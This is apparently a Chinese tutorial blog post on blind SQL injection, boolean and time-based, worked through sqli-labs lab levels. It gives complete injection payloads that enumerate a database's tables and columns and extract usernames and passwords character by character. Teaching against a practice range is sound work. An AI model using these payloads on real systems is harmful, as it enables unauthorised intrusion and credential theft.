渗透测试之sql注入--盲注

本内容为sql注入的一部分,sql注入靶场为 sqli-labs 靶场

如有对sql不熟悉的可以查看 MYSQL 笔记

如需更多靶场,请查看 渗透测试靶场合集

免责声明: 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

SQL注入的主要类型包括:

渗透测试之sql注入---盲注

布尔盲注

使用length(),ascii(),substr()函数进行猜测 数据信息,每次通过ASCII值的大小确定一个字符,然后不断循环的确定其他每一个字符,从而获取整个库名、表名、字段名以及对应数据
length 判断数据长度
ascii判断是哪个字母或符号
substr对数据进行截取,每次取一位

布尔盲注前提条件:

  • 有sql注入漏洞
  • 输入正确和错误内容,页面有变化
    • 正确
    • 错误

方法:

  1. 原始参数后增加and 1=2 --+进行查询,通过页面回显判断传入数据类型及闭合符号
  2. 使用闭合符号将代码中的语句闭合,然后使用andlaneth函数判断查询内容长度
  3. 然后使用函数substrascii逐一对查询结果的每个字符进行判断

Less-8

GET - 盲注 - 布尔盲注 - 单引号

sql 复制代码
-- 判断是否满足布尔盲注条件
index.php?id=1' and 1=1 --+  

-- 查询数据库库名信息
index.php?id=1'and length((select database()))>9 --+
index.php?id=1'and ascii(substr((select database()),1,1))=115 --+

-- 查询数据表相关信息
index.php?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13 --+
index.php?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>95 --+

-- 查询字段相关信息
index.php?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+
index.php?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>95 --+

-- 查询敏感数据
index.php?id=1' and length((select group_concat(username,password) from users))>100 --+
index.php?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>95 --+

Less-15

POST - 盲注 - 布尔/时间盲注 - 单引号

sql 复制代码
Dhakkan' and 1=1#

Dhakkan' and length((select database()))<9 #
Dhakkan' and ascii(substr((select database()),1,1))>95 #

Dhakkan' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13 #
Dhakkan' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>95 #

Dhakkan' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 #
Dhakkan' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>95 #

Dhakkan' and length((select group_concat(username, 0x5e, password) from users))>20 #
Dhakkan' and ascii(substr((select group_concat(username, 0x5e, password) from users),1,1))<95 #

延时盲注

SQL注入中的延时盲注是一种在无法直接获取查询结果时使用的技术,通过观察数据库响应时间来判断注入条件是否成立。

原理:

当页面没有明显回显、报错信息,也没有布尔型响应的差异时,可以通过在SQL语句中加入时间延迟函数,根据页面响应时间来判断注入的SQL条件是否为真3。

基本逻辑‌:当注入的条件判断为真时,执行延时函数;为假时,不执行延时。通过测量响应时间差异来逐位猜测数据库信息。

使用场景:

延时盲注通常在以下情况下使用:

  • 页面没有回显位置,联合注入无法使用
  • 页面不显示数据库报错信息,报错注入无法使用
  • 无论成功还是失败,页面都只响应一种结果,布尔盲注无法使用

常用延时函数

不同数据库的延时函数有所差异:

  • MySQL ‌:sleep()benchmark()
  • PostgreSQL ‌:pg_sleep()
  • SQL Server ‌:waitfor delay

方法:

1. 判断注入点类型

通过不同的payload测试响应时间:

复制代码
?id=1 and if(1,sleep(5),3) -- a     # 数字型
?id=1' and if(1,sleep(5),3) -- a    # 字符型
?id=1" and if(1,sleep(5),3) -- a    # 字符型

2. 猜解数据库信息

采用逐位判断的方式:

  • 猜解数据库名长度:if(length(database())=4, sleep(5), 1)
  • 猜解具体字符:if(ascii(substr(database(),1,1))=100, sleep(5), 1)
    3. 获取表名和字段名
    通过information_schema系统表,使用同样的延时逻辑逐个字符猜解表名、字段名等信息。

Less-9

GET - 盲注 - 时间盲注 - 单引号

sql 复制代码
index.php?id=1'and if(length((select database()))>9,sleep(5),1)--+
-- 判断数据库名长度
index.php?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
-- 逐一判断数据库字符

index.php?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
-- 判断所有表名长度
index.php?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>95,sleep(5),1)--+
-- 逐一判断表名

index.php?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
-- 判断所有字段名的长度
index.php?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>95,sleep(5),1)--+
-- 逐一判断字段名

index.php?id=1' and if(length((select group_concat(username,password) from users))>100,sleep(5),1)--+
-- 判断字段内容长度 
index.php?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>95,sleep(5),1)--+
-- 逐一检测内容。

Less-10

GET - 盲注 - 时间盲注 - 双引号

sql 复制代码
index.php?id=1"and if(length((select database()))>9,sleep(5),1)--+
index.php?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

index.php?id=1"and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
index.php?id=1"and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>95,sleep(5),1)--+

index.php?id=1"and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
index.php?id=1"and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>95,sleep(5),1)--+

index.php?id=1" and if(length((select group_concat(username,password) from users))>100,sleep(5),1)--+
index.php?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))>95,sleep(5),1)--+

Less-16

POST - 盲注 - 布尔/时间盲注 - 双引号

sql 复制代码
Dhakkan") and if(1=1, sleep(5),1) #

Dhakkan") and if(length((select database()))<9, sleep(5),1) #
Dhakkan") and if(ascii(substr((select database()),1,1))>95, sleep(5),1) #

Dhakkan") and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(5),1) #
Dhakkan") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>95, sleep(5),1) #

Dhakkan") and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20, sleep(5),1) #
Dhakkan") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>95, sleep(5),1) #

Dhakkan") and if(length((select group_concat(username, 0x5e, password) from users))>20, sleep(5),1) #
Dhakkan") and if(ascii(substr((select group_concat(username, 0x5e, password) from users),1,1))<95, sleep(5),1) #
相关推荐
AI周红伟7 分钟前
长鑫科技存储之王:存储三强对比:三星、SK海力士 vs 长鑫科技
数据库·人工智能·科技·react.js·架构·langchain
m0_7381207211 分钟前
渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(二)
服务器·前端·python·网络协议·安全·网络安全
灰阳阳17 分钟前
MySQL-Innodb-表空间数据组织方式
数据库·mysql·innodb
计算机安禾23 分钟前
【算法设计与分析】第29篇:启发式与元启发式搜索方法综述
java·数据库·算法
DIY源码阁24 分钟前
JavaSwing学生选课系统 - MySQL版
java·数据库·mysql·eclipse
城管不管32 分钟前
Agent——001
android·java·数据库·llm·prompt
AC赳赳老秦33 分钟前
OpenClaw批量任务队列优化:解决任务堆积、执行缓慢、优先级混乱问题
java·大数据·数据库·c++·自动化·php·openclaw
J2虾虾39 分钟前
Spring AI Alibaba - 工作流(Workflow)
数据库·人工智能·spring
TDengine (老段)42 分钟前
TDengine Compaction 合并策略 — STT 整理、文件合并与后台调度
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
anew___1 小时前
《数据库原理》精要解读(八、九、十)—— 事务、恢复与并发:数据库内核的三大支柱
数据库·oracle